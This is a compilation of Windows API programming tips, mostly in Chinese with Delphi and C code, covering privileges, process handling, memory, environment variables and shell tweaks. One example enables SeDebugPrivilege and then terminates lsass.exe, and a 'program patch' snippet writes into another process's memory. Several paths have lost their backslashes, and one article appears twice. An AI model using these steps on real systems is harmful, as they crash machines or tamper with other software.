//////////////////////// End Of File /////////////////////////

EnablePrivilege 需要三个参数：包括用户特权信息的访问标志的句柄、标识你想改变的特权的字符串和一个布尔型变量标识你是否要赋予这个特权。带着这三个参数， EnablePrivilege 对TOKEN_PRIVILEGES 结构进行初始化。这个结构实际上是一个可变长度的结构，它允许你同时说明几个特权。由于EnablePrivilege 函数只允许你一次改变一个特权，所以代码就比同时能改变多个特权的代码简单。

LookupPrivilegeValue函数将特权名字转换成一个64位的等价数值叫做LUID（本地独有标识）。对许多开发者来说这很奇怪。通常，开发人员喜欢使用数字而不是字符串；但是使用特权时，通常是以字符串来方式进行的，然后再调用LookupPrivilegeValue 将这个字符串转化为数字。LUID，保证是再本地系统中独一无二的标识。你不能够在机器之间传递一个LUID，甚至，你不能在同一台机器上经过重新启动后还保留一个LUID。换句话说，如果你在两次调用之间重新启动系统，将调试特权字符串传递给LookupPrivilegeValue将会导致返回两个不同的LUID。

一旦你拥有了调试特权的LUID， EnablePrivilege将调用AdjustTokenPrivileges赋予或取消特权。你应当注意到当我调用OpenProcessToken时，我要申请TOKEN_ADJUST_PRIVILEGES权限， 这时成功调用AdjustTokenPrivileges的权限。

在EnablePrivilege 返回以后，我将EnableDebugPrivAndRun的命令行传递给ShellExecute 函数。ShellExecute 将会在内部调用CreateProcess 生成一个新的进程。记住权限标识是有继承性的，所以这个新的进程将会继承EnableDebugPrivAndRun的权限标识，现在这个标识表示调试特权使用权开放。这意味着新进程的调试使用权也是开放的能够成功地调用OpenProcess。

我喜欢运行在我系统上的任务管理器所以我经常通过查看任务栏上始终左边的小图标来查看CPU的性能。这以下是我为了确信任务管理器总是在调试特权开放的情况下运行所做的工作。首先，我建立了我的EnableDebugPrivAndRun程序并将它放在一个目录下面。然后我创建一个快捷方式让任务管理器一开始以窗口最小化的方式运行。我把这个快捷方式的.LNK 文件放在与EnableDebugPrivAndRun 程序所在的同一目录下。然后再创建另一个快捷方式运行EnableDebugPrivAndRun，把任务管理器快捷方式的文件名作为参数传递给它。这个快捷方式的命令行字符串如下所示：

C:.exe "C:Manager.lnk"

我把第二个快捷方式放在我的开始菜单的Startup文件夹中这样系统就可以在我一登录进去就将它激活。就是这么简单！

**********************************************

function EnableDebugPrivilege: Boolean;

function EnablePrivilege(hToken: Cardinal; PrivName: string; bEnable: Boolean): Boolean;

var

TP: TOKEN_PRIVILEGES;

Dummy: Cardinal;

begin

TP.PrivilegeCount := 1;

LookupPrivilegeValue(nil, pchar(PrivName), TP.Privileges[0].Luid);

if bEnable then

TP.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED

else TP.Privileges[0].Attributes := 0;

AdjustTokenPrivileges(hToken, False, TP, SizeOf(TP), nil, Dummy);

Result := GetLastError = ERROR_SUCCESS;

end;

var

hToken: Cardinal;

begin

OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES, hToken);

if EnablePrivilege(hToken, 'SeDebugPrivilege', True) then ShowMessage('OK');

CloseHandle(hToken);

end;

function KillTask(ExeFileName: string): Integer;

const

PROCESS_TERMINATE = $0001;

var

ContinueLoop: BOOL;

FSnapshotHandle: THandle;

FProcessEntry32: TProcessEntry32;

begin

Result := 0;

FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

FProcessEntry32.dwSize := SizeOf(FProcessEntry32);

ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);

while Integer(ContinueLoop) <> 0 do

begin

if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =

UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =

UpperCase(ExeFileName))) then

Result := Integer(TerminateProcess(

OpenProcess(PROCESS_TERMINATE,

BOOL(0),

FProcessEntry32.th32ProcessID),

0));

ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);

end;

CloseHandle(FSnapshotHandle);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

EnableDebugPrivilege;

Caption := SysErrorMessage(KillTask('lsass.exe'));

end;


杀死一个进程
{For Windows 9x/ME/2000/XP }

uses

Tlhelp32;

function KillTask(ExeFileName: string): Integer;

const

PROCESS_TERMINATE = $0001;

var

ContinueLoop: BOOL;

FSnapshotHandle: THandle;

FProcessEntry32: TProcessEntry32;

begin

Result := 0;

FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

FProcessEntry32.dwSize := SizeOf(FProcessEntry32);

ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);

while Integer(ContinueLoop) <> 0 do

begin

if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =

UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =

UpperCase(ExeFileName))) then

Result := Integer(TerminateProcess(

OpenProcess(PROCESS_TERMINATE,

BOOL(0),

FProcessEntry32.th32ProcessID),

0));

ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);

end;

CloseHandle(FSnapshotHandle);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

KillTask('notepad.exe');

end;

{ For Windows NT/2000/XP }

procedure KillProcess(hWindowHandle: HWND);

var

hprocessID: INTEGER;

processHandle: THandle;

DWResult: DWORD;

begin

SendMessageTimeout(hWindowHandle, WM_CLOSE, 0, 0,

SMTO_ABORTIFHUNG or SMTO_NORMAL, 5000, DWResult);

if isWindow(hWindowHandle) then

begin

// PostMessage(hWindowHandle, WM_QUIT, 0, 0);

{ Get the process identifier for the window}

GetWindowThreadProcessID(hWindowHandle, @hprocessID);

if hprocessID <> 0 then

begin

{ Get the process handle }

processHandle := OpenProcess(PROCESS_TERMINATE or PROCESS_QUERY_INFORMATION,

False, hprocessID);

if processHandle <> 0 then

begin

{ Terminate the process }

TerminateProcess(processHandle, 0);

CloseHandle(ProcessHandle);

end;

end;

end;

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

KillProcess(FindWindow('notepad',nil));

end;


强制运行文件镜象到内存
问：在你的那本Advanced Windows（127页）中，你提到当Windows 95 或Windows NT从软盘运行一个可执行的映像文件时，系统实际上是将整个文件的映像装入RAM中。系统这样做是为了能让盘片从驱动器里取出是不影响应用程序。

这看起来是个好主意，我很高兴微软把这个功能放进操作系统中。我还能想象出许多种这样做的好处。例如，当映像文件位于网络驱动器或是光盘驱动器时，这样做也很有必要。我还想让文件在压缩或加密时装入到RAM中（Windows NT5.0）。有没有一种方法能让我强制系统将某一指定的文件映像装入到RAM中？

Frank Merrow

答： Windows NT 4.0启动时，微软在装载程序中加入这样的支持。当你创建了一个可执行的映像时，（.EXE或DLL），你可以在链接器中加入以下的开关说明。：

/SWAPRUN:NET

这个开关告诉链接器打开某个标志位。当装载程序装载你的映像文件时，装载文件要检查这个位是否已经设为开，还有映像是否是从网络驱动器装载。如果是，则装载程序将文件的映像装入RAM以防止在网络上频繁交换。

链接器还支持这种格式的SWAPRUN 开关：

/SWAPRUN:CD

这个开关告诉装载程序如果文件映像是在光盘驱动器中运行的，则强制将映像装入RAM中。注意要想让这些开关工作，你的链接器必须支持这个开关而装入程序必须认识这个开关作出正确的响应。Windows NT 4.0及以后的版本都能认识/SWAPRUN:NET 和 /SWAPRUN:CD 位；Windows? 95 不能。

现在，装载程序不支持将压缩或加密的映像文件装入到RAM中。但是自己编制一个强行将整个映像文件装入RAM的函数是非常简单的。图4显示了一个这样的函数-RunImageLocally。这个函数只有一个参数，就是可执行映像的HINSTANCE (或 HMODULE) 。这个参数也要传递给你的WinMain 函数， DllMain 函数，从LoadLibrary这个调用函数中返回的也是这个值。函数然后循环调用VirtualQuery检查包括可执行映像的所有内存区域。

图 4: RunImageLocally.cpp

/******************************************************************************

Module name: RunImageLocally.cpp

Notices: Written 1998 by Jeffrey Richter

Description: Forces an executable image to be run from the paging file.

******************************************************************************/

#include

///////////////////////////////////////////////////////////////////////////////

void WINAPI RunImageLocally(HINSTANCE hinst) {

DWORD cp= 0;

static DWORD s_dwPageSize = 0;

// Get the system's page size (do this only once)

if (s_dwPageSize == 0) {

SYSTEM_INFO si;

GetSystemInfo(&si);

s_dwPageSize = si.dwPageSize;

}

PBYTE pbAddr = (PBYTE) hinst;

MEMORY_BASIC_INFORMATION mbi;

VirtualQuery(pbAddr, &mbi, sizeof(mbi));

// Perform this loop until we find a region beyond the end of the file.

while (mbi.AllocationBase == hinst) {

// We can only force committed pages into RAM.

// We do not want to trigger guard pages and confuse the application.

if ((mbi.State == MEM_COMMIT) && ((mbi.Protect & PAGE_GUARD) == 0)) {

// Determine if the pages in this region are nonwriteable

BOOL fNonWritableRgn =

(mbi.Protect == PAGE_NOACCESS) ||

(mbi.Protect == PAGE_READONLY) ||

(mbi.Protect == PAGE_EXECUTE) ||

(mbi.Protect == PAGE_EXECUTE_READ);

DWORD dwOrigProtect = 0;

if (fNonWritableRgn) {

// Nonwriteable region, make it writeable (with the least protection)

VirtualProtect(mbi.BaseAddress, mbi.RegionSize,

PAGE_EXECUTE_READWRITE, &dwOrigProtect);

} else {

// This is a writeable page, we can leave the protections alone.

}

// Write to every page in the region.

// This forces the page to be in RAM and swapped to the paging file.

for (DWORD cbRgn = 0; cbRgn < mbi.RegionSize; cbRgn += s_dwPageSize) {

// Volatile so that the optimizer won't remove this code

volatile PDWORD pdw = (PDWORD) &pbAddr[cbRgn];

*pdw = *pdw;

cp++;

}

if (dwOrigProtect != 0) {

// If we changed the protection, change it back

VirtualProtect(mbi.BaseAddress, mbi.RegionSize, dwOrigProtect,

&dwOrigProtect);

}

}

// Get next region

VirtualQuery(pbAddr += mbi.RegionSize, &mbi, sizeof(mbi));

}

GetLastError();

}

///////////////////////////////////////////////////////////////////////////////

int WINAPI WinMain(HINSTANCE hinstExe, HINSTANCE hinstExePrev,

LPSTR lpCmdLine, int nCmdShow) {

RunImageLocally(hinstExe);

return(0);

}

///////////////////////////////// End Of File /////////////////////////////////

对于每个区域，检查页是否被提交及是否是保护页。如果页还没有被提交，则说明没有要写入RAM中的内容。如果页有PAGE_GUARD 属性，对它进行操作将会引起一个STATUS_GUARD_PAGE_VIOLATION 异常，如果你不想让你的应用程序混乱，就也不能够将这些页写到RAM中。

对于这些所有的页，我检查它们看是否是可写的。如果不是，我将改变对这些页的保护以使我能够对它们进行写操作。我使用 PAGE_EXECUTE_READWRITE 因为这是所有的保护中最自由的一种。一旦我知道页是可写的，我就能在一个区域的每一页中都写入单个的DWORD。执行这个写操作令系统把RAM中的页做一个拷贝。在区域中这些所有的页都被写了之后，我将页的保护方式改回到原来的方式（如果必要的话）。最后，重复这个操作直到包含可执行映像文件的所有区域都完成为止。

应当注意的是：这个程序不是线程安全的，也没有办法使它安全。进程中的其他线程有可能会改变会改变文件映像所在页的保护方式或者改动页中的数据。仅仅是执行代码或碰触数据根本就不是问题。但是如果其他线程改变了页的保护方式，这将是个潜在的问题。

我只在Windows NT上测试了这段代码，但是它应当在Windows 95一样运行良好。由于Windows 95不支持写时拷贝的机制，所以在Windows 95 上使用这项技术就不大合适。当你将一个映像装入到Windows 95上时，装载程序会为映像文件的可写页自动分配RAM (及交换文件区) 。


确定一个进程是否有响应
今天在MSN的核心讨论组上看到两篇文章.讨论的乃是应用程序是否没有响应.原文如下:

> How is it possible to determine a process is "not responding" like NT Task

> Manager do?

The heuristic works only for GUI processes, and consists of calling

SendMessageTimeOut() with SMTO_ABORTIFHUNG.

>There is any API call to do the job, or this status is simply a deduction

>based on process counters, like that returned from call to GetProcessTimes

>API function?

Use SendMessageTimeout with a value of WM_NULL. That's all Task

Manager does to determine this AFAIK.

--

有理有理.当然,我这里还有一个UNDOCUMENTED函数,乃是其他的解决方案,NT和9X有个USER32.DLL的函数,IsHungAppWindow(NT)和IsHungThread(9X).使用起来简便无比.下面给出原型.

BOOL IsHungAppWindow (

HWND hWnd, // handle to main app's window

);

BOOL IsHungThread (

DWORD dwThreadId, // The thread's identifier of the main app's window

);

有了原型,连解释都不需要,好得不的了.:)不过调用时需要GetProcAddress.库里没有该函数.

****************************************

check whether an application (window) is not responding?

{1. The Documented way}

{

An application can check if a window is responding to messages by

sending the WM_NULL message with the SendMessageTimeout function.

}

function AppIsResponding(ClassName: string): Boolean;

const

{ Specifies the duration, in milliseconds, of the time-out period }

TIMEOUT = 50;

var

Res: DWORD;

h: HWND;

begin

h := FindWindow(PChar(ClassName), nil);

if h <> 0 then

Result := SendMessageTimeOut(H,

WM_NULL,

0,

0,

SMTO_NORMAL or SMTO_ABORTIFHUNG,

TIMEOUT,

Res) <> 0

else

ShowMessage(Format('%s not found!', [ClassName]));

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

if AppIsResponding('OpusApp') then

{ OpusApp is the Class Name of WINWORD.EXE }

ShowMessage('App. responding');

end;

{2. The Undocumented way}

{

// Translated form C to Delphi by Thomas Stutz

// Original Code:

// (c)1999 Ashot Oganesyan K, SmartLine, Inc

// mailto:ashot@aha.ru, http://www.protect-me.com, http://www.codepile.com

The code doesn't use the Win32 API SendMessageTimout function to

determine if the target application is responding but calls

undocumented functions from the User32.dll.

--> For Windows 95/98/ME we call the IsHungThread() API

The function IsHungAppWindow retrieves the status (running or not responding)

of the specified application

IsHungAppWindow(Wnd: HWND): // handle to main app's window

BOOL;

--> For NT/2000/XP the IsHungAppWindow() API:

The function IsHungThread retrieves the status (running or not responding) of

the specified thread

IsHungThread(DWORD dwThreadId): // The thread's identifier of the main app's window

BOOL;

Unfortunately, Microsoft doesn't provide us with the exports symbols in the

User32.lib for these functions, so we should load them dynamically using the

GetModuleHandle and GetProcAddress functions:

}

// For Win9X/ME

function IsAppRespondig9X(dwThreadId: DWORD): Boolean;

type

TIsHungThread = function(dwThreadId: DWORD): BOOL; stdcall;

var

hUser32: THandle;

IsHungThread: TIsHungThread;

begin

Result := True;

hUser32 := GetModuleHandle('user32.dll');

if (hUser32 > 0) then

begin

@IsHungThread := GetProcAddress(hUser32, 'IsHungThread');

if Assigned(IsHungThread) then

begin

Result := not IsHungThread(dwThreadId);

end;

end;

end;

// For Win NT/2000/XP

function IsAppRespondigNT(wnd: HWND): Boolean;

type

TIsHungAppWindow = function(wnd:hWnd): BOOL; stdcall;

var

hUser32: THandle;

IsHungAppWindow: TIsHungAppWindow;

begin

Result := True;

hUser32 := GetModuleHandle('user32.dll');

if (hUser32 > 0) then

begin

@IsHungAppWindow := GetProcAddress(hUser32, 'IsHungAppWindow');

if Assigned(IsHungAppWindow) then

begin

Result := not IsHungAppWindow(wnd);

end;

end;

end;

function IsAppRespondig(Wnd: HWND): Boolean;

begin

if not IsWindow(Wnd) then

begin

ShowMessage('Incorrect window handle!');

Exit;

end;

if Win32Platform = VER_PLATFORM_WIN32_NT then

Result := IsAppRespondigNT(wnd)

else

Result := IsAppRespondig9X(GetWindowThreadProcessId(Wnd,nil));

end;

// Example: Check if Word is hung/responding

procedure TForm1.Button3Click(Sender: TObject);

var

Res: DWORD;

h: HWND;

begin

// Find Word by classname

h := FindWindow(PChar('OpusApp'), nil);

if h <> 0 then

begin

if IsAppRespondig(h) then

ShowMessage('Word is responding!')

else

ShowMessage('Word is not responding!');

end

else

ShowMessage('Word is not open!');

end;


设置环境变量
如何永久改变环境变量？

答：首先，你必须修改注册表HKEY_LOCAL_MACHINEManager，在下面添加你的环境变量，然后广播发送一个 WM_SETTINGCHANGE 即可。

{*********************************************}

{ Set Global Environment Function }

{ Coder : Kingron,2002.8.6 }

{ Bug Report : Kingron@163.net }

{ Test OK For Windows 2000 Advance Server }

{ Parameter: }

{ Name : The environment name }

{ Value: The environment Value }

{ Ex: SetGlobalEnvironment('MyVar','OK') }

{*********************************************}

function SetGlobalEnvironment(const Name, Value: string; const User: Boolean = True): boolean;

resourcestring

REG_MACHINE_LOCATION = 'SystemManager';

REG_USER_LOCATION = 'Environment';

begin

with TRegistry.Create do

try

if User then { User Environment Variable }

Result := OpenKey(REG_USER_LOCATION, True)

else { System Environment Variable }

begin

RootKey := HKEY_LOCAL_MACHINE;

Result := OpenKey(REG_MACHINE_LOCATION, True);

end;

if Result then

begin

WriteString(Name, Value); { Write Registry for Global Environment }

{ Update Current Process Environment Variable }

SetEnvironmentVariable(pchar(Name), pchar(Value));

{ Send Message To All Top Window for Refresh }

SendMessage(HWND_BROADCAST, WM_SETTINGCHANGE, 0, integer(Pchar('Environment')));

end;

finally

Free;

end;

end; { SetGlobalEnvironment }


判断是否在系统账户下运行程序(Win2K,XP)
determine if my program/Service is running under the System account?

function OnSystemAccount(): Boolean;

const

cnMaxNameLen = 254;

var

sName: string;

dwNameLen: DWORD;

begin

dwNameLen := cnMaxNameLen - 1;

SetLength(sName, cnMaxNameLen);

GetUserName(PChar(sName), dwNameLen);

SetLength(sName, dwNameLen);

if UpperCase(Trim(sName)) = 'SYSTEM' then Result := True

else

Result := False;

end;


返回主域控制器名字
get the primary domain controller (PDC)?

{

The NetGetDCName function returns the name of the primary domain controller (PDC).

It does not return the name of the backup domain controller (BDC) for the specified domain.

Also, you cannot remote this function to a non-PDC server.

Windows 2000/XP: Applications that support DNS-style names should call the function.

Domain controllers in this type of environment have a multi-master

directory replication relationship.

Therefore, it may be advantageous for your application to use a DC that is not the PDC.

You can call the DsGetDcName function to locate any DC in the domain;

NetGetDCName returns only the name of the PDC.

}

type

EAccessDenied = Exception;

EInvalidOwner = Exception;

EInsufficientBuffer = Exception;

ELibraryNotFound = Exception;

NET_API_STATUS = Integer;

const

NERR_Success = 0;

var

NTNetGetDCName: function (Server, Domain: pWideChar; var DC: pWideChar): NET_API_STATUS; stdcall;

NTNetGetDCNameA: function (Server, Domain: PChar; var DC: PChar): NET_API_STATUS; stdcall;

NTNetApiBufferFree: function (lpBuffer: Pointer): NET_API_STATUS; stdcall;

procedure NetCheck(ErrCode: NET_API_STATUS);

begin

if ErrCode <> NERR_Success then

begin

case ErrCode of

ERROR_ACCESS_DENIED:

raise EAccessDenied.Create('Access is Denied');

ERROR_INVALID_OWNER:

raise EInvalidOwner.Create('Cannot assign the owner of this object.');

ERROR_INSUFFICIENT_BUFFER:

raise EInsufficientBuffer.Create('Buffer passed was too small');

else

raise Exception.Create('Error Code: ' + IntToStr(ErrCode) + #13 +

SysErrorMessage(ErrCode));

end;

end;

end;

function GetPDC(szSystem: string): string;

{ if szSystem = '' return the PDC else return DC for that domain }

const

NTlib = 'NETAPI32.DLL';

Win95lib = 'RADMIN32.DLL';

var

pAnsiDomain: PChar;

pDomain: PWideChar;

System: array[1..80] of WideChar;

ErrMode: Word;

LibHandle: THandle;

begin

Result := '';

LibHandle := 0;

try

if Win32Platform = VER_PLATFORM_WIN32_NT then

begin

ErrMode := SetErrorMode(SEM_NOOPENFILEERRORBOX);

LibHandle := LoadLibrary(NTlib);

SetErrorMode(ErrMode);

if LibHandle = 0 then

raise ELibraryNotFound.Create('Unable to map library: ' +

NTlib); @NTNetGetDCName := GetProcAddress(Libhandle, 'NetGetDCName');

@NTNetApiBufferFree := GetProcAddress(Libhandle,

'NetApiBufferFree');

try

if szSystem <> '' then

NetCheck(NTNetGetDCName(nil, StringToWideChar(szSystem, @System, 80), pDomain))

else

NetCheck(NTNetGetDCName(nil, nil, pDomain));

Result := WideCharToString(pDomain);

finally

NetCheck(NTNetApiBufferFree(pDomain));

end;

end

else

begin

ErrMode := SetErrorMode(SEM_NOOPENFILEERRORBOX);

LibHandle := LoadLibrary(Win95lib);

SetErrorMode(ErrMode);

if LibHandle = 0 then

raise ELibraryNotFound.Create('Unable to map library: ' +

Win95lib); @NTNetGetDCNameA := GetProcAddress(Libhandle, 'NetGetDCNameA');

@NTNetApiBufferFree := GetProcAddress(LibHandle, 'NetApiBufferFree');

try

if szSystem <> '' then

NetCheck(NTNetGetDCNameA(nil, PChar(szSystem), pAnsiDomain))

else

NetCheck(NTNetGetDCNameA(nil, nil, pAnsiDomain));

Result := StrPas(pAnsiDomain);

finally

NetCheck(NTNetApiBufferFree(pAnsiDomain));

end;

end;

finally

if LibHandle <> 0 then

begin

FreeLibrary(Libhandle); // free handle if it has been allocated

end;

end;

end;

// Example call, Beispielaufruf:

procedure TForm1.Button1Click(Sender: TObject);

begin

try

Screen.Cursor := crHourGlass;

label1.Caption := GetPDC('');

finally

Screen.Cursor := crDefault;

end;

end;


限制应用程序只能运行一次Windows Session中
有的时候，我们不是希望我们的程序只能启动一个实例，而是希望在这一次的Windows运行当中，只能运行程序一次，必须重新启动Windows之后，才能运行我们的程序，那么我们该怎么做？答案是利用全局原子：

procedure TForm1.FormShow(Sender: TObject);

var

atom: Integer;

begin

if GlobalFindAtom('a random string here') = 0 then

atom := GlobalAddAtom('a random string here')

else

begin

ShowMessage('This application will run once a windows-session' + #13 +

'Restart Your computer to use this app');

Close;

end;

end;


整个系统中当前脱字符的位置？
整个系统中当前脱字符的位置？

function GetCaretPosition(var APoint: TPoint): Boolean;

var w: HWND;

aID, mID: DWORD;

begin

Result:= False;

w:= GetForegroundWindow;

if w <> 0 then

begin

aID:= GetWindowThreadProcessId(w, nil);

mID:= GetCurrentThreadid;

if aID <> mID then

begin

if AttachThreadInput(mID, aID, True) then

begin

w:= GetFocus;

if w <> 0 then

begin

Result:= GetCaretPos(APoint);

Windows.ClientToScreen(w, APoint);

end;

AttachThreadInput(mID, aID, False);

end;

end;

end;

end;

//Small demo: set cursor to active caret position

procedure TForm1.Timer1Timer(Sender: TObject);

var

Pt: TPoint;

begin

if GetCaretPosition(Pt) then

begin

ListBox1.Items.Add(Format('Caret position is %d %d', [Pt.x, Pt.y]));

SetCursorPos(Pt.X, Pt.Y);

end;

end;


程序补丁
今天忽然明白了运行时程序补丁的原理：

补丁程序运行，启动应用程序，此时补丁程序利用OpenProcess，WriteProcessMemory写入某个内存即可实现动态Patch程序。Like this：

{....}

var

WindowName: Integer;

ProcessId: Integer;

ThreadId: Integer;

buf: PChar;

HandleWindow: Integer;

Write: Cardinal;

{....}

const

WindowTitle = 'a program name';

Address = $A662D6;

PokeValue = $4A;

NumberOfBytes = 2;

{....}

procedure TForm1.Button1Click(Sender: TObject);

begin

WindowName := FindWindow(nil, WindowTitle);

if WindowName = 0 then

begin

MessageDlg('Program not running.', mtWarning, [mbOK], 0);

end;

ThreadId := GetWindowThreadProcessId(WindowName, @ProcessId);

HandleWindow := OpenProcess(PROCESS_ALL_ACCESS, False, ProcessId);

GetMem(buf, 1);

buf^ := Chr(PokeValue);

WriteProcessMemory(HandleWindow, ptr(Address), buf, NumberOfBytes, Write);

FreeMem(buf);

CloseHandle(HandleWindow);

end;


让程序脱离磁盘运行
让程序脱离磁盘运行

Jeffrey Richter

问：在你的那本Advanced Windows（127页）中，你提到当Windows 95 或Windows NT从软盘运行一个可执行的映像文件时，系统实际上是将整个文件的映像装入RAM中。系统这样做是为了能让盘片从驱动器里取出是不影响应用程序。

这看起来是个好主意，我很高兴微软把这个功能放进操作系统中。我还能想象出许多种这样做的好处。例如，当映像文件位于网络驱动器或是光盘驱动器时，这样做也很有必要。我还想让文件在压缩或加密时装入到RAM中（Windows NT5.0）。有没有一种方法能让我强制系统将某一指定的文件映像装入到RAM中？

Frank Merrow

答： Windows NT 4.0启动时，微软在装载程序中加入这样的支持。当你创建了一个可执行的映像时，（.EXE或DLL），你可以在链接器中加入以下的开关说明。：

/SWAPRUN:NET

这个开关告诉链接器打开某个标志位。当装载程序装载你的映像文件时，装载文件要检查这个位是否已经设为开，还有映像是否是从网络驱动器装载。如果是，则装载程序将文件的映像装入RAM以防止在网络上频繁交换。

链接器还支持这种格式的SWAPRUN 开关：

/SWAPRUN:CD

这个开关告诉装载程序如果文件映像是在光盘驱动器中运行的，则强制将映像装入RAM中。注意要想让这些开关工作，你的链接器必须支持这个开关而装入程序必须认识这个开关作出正确的响应。Windows NT 4.0及以后的版本都能认识/SWAPRUN:NET 和 /SWAPRUN:CD 位；Windows? 95 不能。

现在，装载程序不支持将压缩或加密的映像文件装入到RAM中。但是自己编制一个强行将整个映像文件装入RAM的函数是非常简单的。图4显示了一个这样的函数-RunImageLocally。这个函数只有一个参数，就是可执行映像的HINSTANCE (或 HMODULE) 。这个参数也要传递给你的WinMain 函数， DllMain 函数，从LoadLibrary这个调用函数中返回的也是这个值。函数然后循环调用VirtualQuery检查包括可执行映像的所有内存区域。

图 4: RunImageLocally.cpp

/******************************************************************************

Module name: RunImageLocally.cpp

Notices: Written 1998 by Jeffrey Richter

Description: Forces an executable image to be run from the paging file.

******************************************************************************/

#include

///////////////////////////////////////////////////////////////////////////////

void WINAPI RunImageLocally(HINSTANCE hinst) {

DWORD cp= 0;

static DWORD s_dwPageSize = 0;

// Get the system's page size (do this only once)

if (s_dwPageSize == 0) {

SYSTEM_INFO si;

GetSystemInfo(&si);

s_dwPageSize = si.dwPageSize;

}

PBYTE pbAddr = (PBYTE) hinst;

MEMORY_BASIC_INFORMATION mbi;

VirtualQuery(pbAddr, &mbi, sizeof(mbi));

// Perform this loop until we find a region beyond the end of the file.

while (mbi.AllocationBase == hinst) {

// We can only force committed pages into RAM.

// We do not want to trigger guard pages and confuse the application.

if ((mbi.State == MEM_COMMIT) && ((mbi.Protect & PAGE_GUARD) == 0)) {

// Determine if the pages in this region are nonwriteable

BOOL fNonWritableRgn =

(mbi.Protect == PAGE_NOACCESS) ||

(mbi.Protect == PAGE_READONLY) ||

(mbi.Protect == PAGE_EXECUTE) ||

(mbi.Protect == PAGE_EXECUTE_READ);

DWORD dwOrigProtect = 0;

if (fNonWritableRgn) {

// Nonwriteable region, make it writeable (with the least protection)

VirtualProtect(mbi.BaseAddress, mbi.RegionSize,

PAGE_EXECUTE_READWRITE, &dwOrigProtect);

} else {

// This is a writeable page, we can leave the protections alone.

}

// Write to every page in the region.

// This forces the page to be in RAM and swapped to the paging file.

for (DWORD cbRgn = 0; cbRgn < mbi.RegionSize; cbRgn += s_dwPageSize) {

// Volatile so that the optimizer won't remove this code

volatile PDWORD pdw = (PDWORD) &pbAddr[cbRgn];

*pdw = *pdw;

cp++;

}

if (dwOrigProtect != 0) {

// If we changed the protection, change it back

VirtualProtect(mbi.BaseAddress, mbi.RegionSize, dwOrigProtect,

&dwOrigProtect);

}

}

// Get next region

VirtualQuery(pbAddr += mbi.RegionSize, &mbi, sizeof(mbi));

}

GetLastError();

}

///////////////////////////////////////////////////////////////////////////////

int WINAPI WinMain(HINSTANCE hinstExe, HINSTANCE hinstExePrev,

LPSTR lpCmdLine, int nCmdShow) {

RunImageLocally(hinstExe);

return(0);

}

///////////////////////////////// End Of File /////////////////////////////////

对于每个区域，检查页是否被提交及是否是保护页。如果页还没有被提交，则说明没有要写入RAM中的内容。如果页有PAGE_GUARD 属性，对它进行操作将会引起一个STATUS_GUARD_PAGE_VIOLATION 异常，如果你不想让你的应用程序混乱，就也不能够将这些页写到RAM中。

对于这些所有的页，我检查它们看是否是可写的。如果不是，我将改变对这些页的保护以使我能够对它们进行写操作。我使用 PAGE_EXECUTE_READWRITE 因为这是所有的保护中最自由的一种。一旦我知道页是可写的，我就能在一个区域的每一页中都写入单个的DWORD。执行这个写操作令系统把RAM中的页做一个拷贝。在区域中这些所有的页都被写了之后，我将页的保护方式改回到原来的方式（如果必要的话）。最后，重复这个操作直到包含可执行映像文件的所有区域都完成为止。

应当注意的是：这个程序不是线程安全的，也没有办法使它安全。进程中的其他线程有可能会改变会改变文件映像所在页的保护方式或者改动页中的数据。仅仅是执行代码或碰触数据根本就不是问题。但是如果其他线程改变了页的保护方式，这将是个潜在的问题。

我只在Windows NT上测试了这段代码，但是它应当在Windows 95一样运行良好。由于Windows 95不支持写时拷贝的机制，所以在Windows 95 上使用这项技术就不大合适。当你将一个映像装入到Windows 95上时，装载程序会为映像文件的可写页自动分配RAM (及交换文件区) 。


更改开始菜单位图
var

Form1: TForm1;

StartButton: hWnd;

OldBitmap: THandle;

NewImage: TPicture;

procedure TForm1.FormCreate(Sender: TObject);

begin

NewImage := TPicture.create;

NewImage.LoadFromFile('C:WindowsCircles.BMP');

StartButton := FindWindowEx(FindWindow('Shell_TrayWnd', nil),0,'Button', nil);

OldBitmap := SendMessage(StartButton, BM_SetImage, 0, NewImage.Bitmap.Handle);

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

SendMessage(StartButton,BM_SetImage,0,OldBitmap);

NewImage.Free;

end;


打开windows开始菜单
打开windows开始菜单

SendMessage(Application.Handle, WM_SYSCOMMAND, SC_TASKLIST, 0);


桌面图标用小图标方式显示
Neil J. Rubenking <jrubenki@SPAM-B-GONE@mother.com>

program Test;

{$APPTYPE CONSOLE}

USES Windows, Messages, commctrl;

function GetLVHan : HWnd;

// Get the handle of the desktop listview

begin

Result := FindWindowEx(FindWindowEx(FindWindowEx(

GetDesktopWindow, 0, 'Progman', nil), 0,

'SHELLDLL_DefView', nil), 0, 'SysListView32', nil);

end;

function ActiveDesktop : Boolean;

begin

Result := FindWindowEx(FindWindowEx(FindWindowEx(

GetDesktopWindow, 0, 'Progman', nil), 0,

'SHELLDLL_DefView', nil), 0, 'Internet Explorer_Server',

nil) <> 0;

end;

procedure SetListviewStyleSmall(H : HWnd);

VAR S : StyleStruct;

begin

S.StyleOld := GetWindowLong(H, GWL_STYLE);

S.StyleNew := S.StyleOld AND NOT LVS_TYPEMASK;

S.StyleNew := S.StyleNew OR LVS_ICON;

SetWindowLong(H, GWL_STYLE, S.StyleNew);

SendMessage(H, WM_STYLECHANGED, GWL_STYLE, Integer(@S));

ShowWindow(H, SW_SHOWNORMAL);

end;

begin

IF ActiveDesktop THEN

begin

WriteLn('Turn off Active Desktop first.');

Halt;

end;

SetListViewStyleSmall(GetLVHan);

WriteLn('The desktop listview should now have small icons');

WriteLn('Switch to Active Desktop and watch them disappear');

WriteLn('(to get them back, log off and on again)');

WriteLn;

WriteLn('WHY does this happen? How can it be prevented?');

end.


